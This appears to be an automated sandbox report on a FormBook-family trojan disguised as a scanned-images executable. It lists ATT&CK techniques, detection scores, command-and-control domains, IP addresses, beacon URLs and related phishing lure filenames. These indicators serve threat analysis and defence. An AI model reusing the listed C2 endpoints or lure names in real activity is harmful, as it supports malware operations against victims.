Source: Yara match	File source: 00000009.00000002.3798026711.00000000026B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3809886003.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A96596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00A96596
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A96A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00A96A5A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	76%	ReversingLabs	Win32.Trojan.Strab
Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark	0%	URL Reputation	safe
https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js	0%	URL Reputation	safe
https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://hm.baidu.com/hm.js?	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css	0%	URL Reputation	safe
http://www.slushcafe.top/irn0/?dZo=rkk12BbGqxBZ8yyWFarCeZT80GKzND/TKAT51RD3LUS3uLR6Pe1z8Bplr8mj2yMFe4BX6hO/FEyyRDMjbgdyK4b8CTwfAsUn2lCVR5NZfuQrKb84WQ==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
http://www.mqmsqkw.lol/jda9/	0%	Avira URL Cloud	safe
http://www.alanbeanart.com/7ie4/	0%	Avira URL Cloud	safe
http://www.alanbeanart.com/7ie4/?dZo=dUG4+DDdp/sjDloUpc1Pa9oz3rcpcCK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLlnR8W+DQIbNoQ2kneVhnOJg05D70cg==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
http://www.8xbe578.app/1nsp/?dZo=6szqGuj1zCBS7eEWPK4Hj+gRK/nLAiE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080e6UseLZVk0HIGeIsBEAgRXg1wr3NJQ==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
https://track.uc.cn/collect	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://www.lfghtko.lol/yxos/	0%	Avira URL Cloud	safe
http://www.a9jcpf.top/mpex/?dZo=Zb/vXsPYNAfjWKU6DONX2DmivYpazk1zNhfSVr6onri574wTGgCf5cxGoeAVsjx/n1bbhUl7cIXTAf7wH/T3VTZ4C1VoYJ2+BjO5oufoKkfdfMAaow==&gta=rzqXf4A02FEl_8	100%	Avira URL Cloud	malware
http://www.rtrpodcast.online/l2ei/	100%	Avira URL Cloud	malware
http://www.lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOWwD/JAve0FsHL38A7prpbz1xNEjliw==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
https://dhosting.pl/bledyhttp/domeny.html	0%	Avira URL Cloud	safe
https://dhosting.pl/img/logo.svg	0%	Avira URL Cloud	safe
http://www.lecoinsa.net/7ffx/	0%	Avira URL Cloud	safe
http://www.lfghtko.lol	0%	Avira URL Cloud	safe
http://www.stemfiniti.com/toda/?dZo=obOL9JCgNxwS4++f28d79f/ijUfggy2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPePyq+6ekfY+odIcNiDDxjsozDdHvvMQ==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
http://www.synergon.space/8unq/?dZo=RkvL3PdT4df/OPkOf449nqUAFGXcSYeZ27MerosBZGKwWjBg2nbmkc0XZ9UwXf1WVngj3AiTKIg7OIM24x6m5z8EhJuaQ15Cv8EbgH9K+rgnKqPuIQ==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
http://www.slushcafe.top/irn0/	0%	Avira URL Cloud	safe
http://www.zhuan-tou.com/pjmu/	0%	Avira URL Cloud	safe
http://www.a9jcpf.top/mpex/	100%	Avira URL Cloud	malware
http://www.tqfabxah.com/zjwj/?dZo=nHLCZn8vN2ArVDTu2n5oID6vRNbj9hrWV4l8hQoFqQuK0GTLFPexr5xj3EirNaSr0bv3za4OohaILLkKIoyZXyXWPQEhmyBEuX+CqEarOAabuvO7hw==&gta=rzqXf4A02FEl_8	100%	Avira URL Cloud	malware
https://dhosting.pl/kontakt	0%	Avira URL Cloud	safe
http://www.lfghtko.lol/yxos/?dZo=GsI4mtIQVr1bqd+WnFq+jxjWo9OGL2g8JQsV9k25RNexwN7KNHOmJ2uIpR4VD7Ui+v6cwkDz1p2XqdzqrAR3g5VMmjRWjtblZDXQIQIDqIzGBnVicw==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
http://www.tqfabxah.com/zjwj/	100%	Avira URL Cloud	malware
http://www.kacotae.com/rdfm/?dZo=wrkGspiQ383g8BvTCApReourbo49wGJxXTgxDOVN343rP+tlYZO/fXuOHfGNTjam/0/D7Ya5sDuP+VmElkMvPUBNIOaE5m9808ARfJeYmxykw2Zy3w==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
https://dhosting.pl	0%	Avira URL Cloud	safe
https://dhosting.pl/bledyhttp/hosting.html	0%	Avira URL Cloud	safe
http://www.kacotae.com/rdfm/	0%	Avira URL Cloud	safe
http://www.8xbe578.app/1nsp/	0%	Avira URL Cloud	safe
http://lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbr	0%	Avira URL Cloud	safe
http://www.mqmsqkw.lol/jda9/?dZo=34snQIO0a+qzYlkumKI+eaAwv3nNcrL7qOToIJHZshoLhvuGziw8TW5Od2ToMUc/iXvMW07TMOYG4pWJ/ehZNMDgqEYgAwPZ0d7uU4aGTG2kjdzpwg==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
http://www.zhuan-tou.com/pjmu/?dZo=zh3d17Jww7lUdSTktMhNBhMmvkGT0/ltGm9RdVCgVGhfN4W3cKL6T1z80tBiQSN9EuR6w+tbLdSr4eDL0g7GOxg8UddFklL4THbJOpCVHjpswub4FA==&gta=rzqXf4A02FEl_8	0%	Avira URL Cloud	safe
http://www.synergon.space/8unq/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
kmdne.ajunsdfancsda.com	216.83.33.145	true	true	unknown
stemfiniti.com	3.33.130.190	true	true	unknown
www.lfghtko.lol	116.213.43.190	true	true	unknown
8xbe578.app	3.33.130.190	true	true	unknown
alanbeanart.com	3.33.130.190	true	true	unknown
www.mqmsqkw.lol	116.213.43.190	true	true	unknown
www.zhuan-tou.com	38.12.1.29	true	true	unknown
rtrpodcast.online	76.223.67.189	true	true	unknown
www.tqfabxah.com	35.241.42.217	true	false	unknown
www.lecoinsa.net	217.116.0.191	true	true	unknown
synergon.space	109.95.158.127	true	true	unknown
www.slushcafe.top	203.161.55.102	true	true	unknown
www.kacotae.com	64.226.69.42	true	true	unknown
www.alanbeanart.com	unknown	unknown	true	unknown
www.stemfiniti.com	unknown	unknown	true	unknown
56.126.166.20.in-addr.arpa	unknown	unknown	true	unknown
www.a9jcpf.top	unknown	unknown	true	unknown
www.winkthree.com	unknown	unknown	true	unknown
www.rtrpodcast.online	unknown	unknown	true	unknown
www.synergon.space	unknown	unknown	true	unknown
www.8xbe578.app	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.alanbeanart.com/7ie4/?dZo=dUG4+DDdp/sjDloUpc1Pa9oz3rcpcCK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLlnR8W+DQIbNoQ2kneVhnOJg05D70cg==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown
http://www.slushcafe.top/irn0/?dZo=rkk12BbGqxBZ8yyWFarCeZT80GKzND/TKAT51RD3LUS3uLR6Pe1z8Bplr8mj2yMFe4BX6hO/FEyyRDMjbgdyK4b8CTwfAsUn2lCVR5NZfuQrKb84WQ==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown
http://www.mqmsqkw.lol/jda9/	true	Avira URL Cloud: safe	unknown
http://www.8xbe578.app/1nsp/?dZo=6szqGuj1zCBS7eEWPK4Hj+gRK/nLAiE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080e6UseLZVk0HIGeIsBEAgRXg1wr3NJQ==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown
http://www.alanbeanart.com/7ie4/	true	Avira URL Cloud: safe	unknown
http://www.lfghtko.lol/yxos/	true	Avira URL Cloud: safe	unknown
http://www.rtrpodcast.online/l2ei/	true	Avira URL Cloud: malware	unknown
http://www.a9jcpf.top/mpex/?dZo=Zb/vXsPYNAfjWKU6DONX2DmivYpazk1zNhfSVr6onri574wTGgCf5cxGoeAVsjx/n1bbhUl7cIXTAf7wH/T3VTZ4C1VoYJ2+BjO5oufoKkfdfMAaow==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: malware	unknown
http://www.lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOWwD/JAve0FsHL38A7prpbz1xNEjliw==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown
http://www.synergon.space/8unq/?dZo=RkvL3PdT4df/OPkOf449nqUAFGXcSYeZ27MerosBZGKwWjBg2nbmkc0XZ9UwXf1WVngj3AiTKIg7OIM24x6m5z8EhJuaQ15Cv8EbgH9K+rgnKqPuIQ==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown
http://www.lecoinsa.net/7ffx/	true	Avira URL Cloud: safe	unknown
http://www.stemfiniti.com/toda/?dZo=obOL9JCgNxwS4++f28d79f/ijUfggy2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPePyq+6ekfY+odIcNiDDxjsozDdHvvMQ==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown
http://www.slushcafe.top/irn0/	true	Avira URL Cloud: safe	unknown
http://www.zhuan-tou.com/pjmu/	true	Avira URL Cloud: safe	unknown
http://www.tqfabxah.com/zjwj/?dZo=nHLCZn8vN2ArVDTu2n5oID6vRNbj9hrWV4l8hQoFqQuK0GTLFPexr5xj3EirNaSr0bv3za4OohaILLkKIoyZXyXWPQEhmyBEuX+CqEarOAabuvO7hw==&gta=rzqXf4A02FEl_8	false	Avira URL Cloud: malware	unknown
http://www.a9jcpf.top/mpex/	true	Avira URL Cloud: malware	unknown
http://www.lfghtko.lol/yxos/?dZo=GsI4mtIQVr1bqd+WnFq+jxjWo9OGL2g8JQsV9k25RNexwN7KNHOmJ2uIpR4VD7Ui+v6cwkDz1p2XqdzqrAR3g5VMmjRWjtblZDXQIQIDqIzGBnVicw==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown
http://www.kacotae.com/rdfm/?dZo=wrkGspiQ383g8BvTCApReourbo49wGJxXTgxDOVN343rP+tlYZO/fXuOHfGNTjam/0/D7Ya5sDuP+VmElkMvPUBNIOaE5m9808ARfJeYmxykw2Zy3w==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown
http://www.tqfabxah.com/zjwj/	false	Avira URL Cloud: malware	unknown
http://www.kacotae.com/rdfm/	true	Avira URL Cloud: safe	unknown
http://www.8xbe578.app/1nsp/	true	Avira URL Cloud: safe	unknown
http://www.zhuan-tou.com/pjmu/?dZo=zh3d17Jww7lUdSTktMhNBhMmvkGT0/ltGm9RdVCgVGhfN4W3cKL6T1z80tBiQSN9EuR6w+tbLdSr4eDL0g7GOxg8UddFklL4THbJOpCVHjpswub4FA==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown
http://www.synergon.space/8unq/	true	Avira URL Cloud: safe	unknown
http://www.mqmsqkw.lol/jda9/?dZo=34snQIO0a+qzYlkumKI+eaAwv3nNcrL7qOToIJHZshoLhvuGziw8TW5Od2ToMUc/iXvMW07TMOYG4pWJ/ehZNMDgqEYgAwPZ0d7uU4aGTG2kjdzpwg==&gta=rzqXf4A02FEl_8	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark	schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js	schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js	schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://track.uc.cn/collect	schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dhosting.pl/bledyhttp/domeny.html	schtasks.exe, 00000009.00000002.3811492832.0000000003EDC000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.lfghtko.lol	XraVxjqYYo.exe, 0000000A.00000002.3811962670.0000000005491000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js	schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dhosting.pl/img/logo.svg	schtasks.exe, 00000009.00000002.3811492832.0000000003EDC000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dhosting.pl/kontakt	XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hm.baidu.com/hm.js?	schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dhosting.pl	XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dhosting.pl/bledyhttp/hosting.html	schtasks.exe, 00000009.00000002.3811492832.0000000003EDC000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.0000000003A0C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js	schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://lecoinsa.net/7ffx/?dZo=bNQ0/ONSUiz8Cvet9WekHsY6glAUeAndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbr	XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000036E8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	schtasks.exe, 00000009.00000003.1808662563.000000000765E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css	schtasks.exe, 00000009.00000002.3813151529.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3811492832.00000000046B6000.00000004.10000000.00040000.00000000.sdmp, XraVxjqYYo.exe, 0000000A.00000002.3810037675.00000000041E6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.241.42.217	www.tqfabxah.com	United States	15169	GOOGLEUS	false
217.116.0.191	www.lecoinsa.net	Spain	16371	ACENS_ASSpainHostinghousingandVPNservicesES	true
76.223.67.189	rtrpodcast.online	United States	16509	AMAZON-02US	true
203.161.55.102	www.slushcafe.top	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
216.83.33.145	kmdne.ajunsdfancsda.com	United States	64050	BCPL-SGBGPNETGlobalASNSG	true
38.12.1.29	www.zhuan-tou.com	United States	174	COGENT-174US	true
64.226.69.42	www.kacotae.com	Canada	13768	COGECO-PEER1CA	true
109.95.158.127	synergon.space	Poland	48896	DHOSTING-ASWarsawPolandPL	true
3.33.130.190	stemfiniti.com	United States	8987	AMAZONEXPANSIONGB	true
116.213.43.190	www.lfghtko.lol	Hong Kong	63889	CLOUDIVLIMITED-ASCloudIvLimitedHK	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1494558
Start date and time:	2024-08-18 18:23:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@15/10
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 98% Number of executed functions: 51 Number of non-executed functions: 281
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe, UsoClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, settings-win.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target XraVxjqYYo.exe, PID 4756 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Simulations

Behavior and APIs

Time	Type	Description
12:25:03	API Interceptor	9759248x Sleep call for process: schtasks.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
217.116.0.191	Scanned Docs from Emnes Metal Sdn Bhd_.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/7ffx/
	HSBCscancopy-invoice778483-payment87476MT103.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/i4bw/
	Request for Quotation - (SM Store San Mateo).exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/zd4t/
	D02984-KP-002011.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/7ffx/
	REQN#1010135038.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/7ffx/
	pismo1A 12.06.2024.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/xu8t/
	RFQ for Maintenance usering for Sabratha Project.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/zd4t/
	CFV20240600121.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/xu8t/
	Nbvkrvfanxfmla.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.captoriot.com/pn4e/?KfTD=TVbisx4cAYlWi1QWASjGfV1crgLBR8JtvsCp22pQc6hP3WdU+qw/hnDLngBsYyNwe7SkJXu6Y4ccrmt/HgV2tQEycSxLeHUr9w==&pd=8k02Xq71ReL2NgiL
	fJXbhkbAh4.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.metabolomicsrubio.com/he4z/?iY0=3flPJv6ieGjXtu2BZjlDCLsRYPXaTlSmnAGDaGGFSllhsjO/k4Cp7cSc5yNsqXbWoVnAdcraHliC8m1hOte1JfoJWxEBFbScRA==&m5h_Y=eBnFNQLxHa46YDho
76.223.67.189	PO TIYEY078K.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.srripaspocon.org/5if5/
	Botulismus56.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.osbornesargent.co.uk/md49/?Oh=QPM+w8Ig1ROzmMib5SDu6zuYSnXOkQr9m7samoBwdfEnV0n0l3uWLVJ7UGPwsRh8pmtmt+CAU5h/xYkYsyOGxbf0SN0yaP11Hv40L4ijSawEYWA0VnDvvTA=&sxilk=HBrl
	Scanned Docs from Emnes Metal Sdn Bhd_.exe	Get hash	malicious	FormBook	Browse	www.rtrpodcast.online/l2ei/
	SecuriteInfo.com.Win32.RATX-gen.24742.674.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.stellardaysigning.com/xb5p/
	mtTw7o41OC.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.microsofr.fun/omnp/
	Payrol list.exe	Get hash	malicious	FormBook	Browse	www.rtrpodcast.online/g3rq/
	LisectAVT_2403002B_448.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.magnauniversity.com/hfhf/?6lBX5p6=A/Xwur6vfkk1nt0HF5vI+iD3HQmsBnVKlXfi47Zpsj5D+hS3O7IepQPDfrVs1xyfsUFv&Kjsl=FbuD_t_HwtJdin
	IIMG_00172424.exe	Get hash	malicious	FormBook	Browse	www.stellardaysigning.com/xb5p/
	eqqjbbjMlt.elf	Get hash	malicious	Unknown	Browse	mgsdaigou2.com/
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	kensingtonconfectionery.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.mqmsqkw.lol	Scanned Docs from Emnes Metal Sdn Bhd_.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
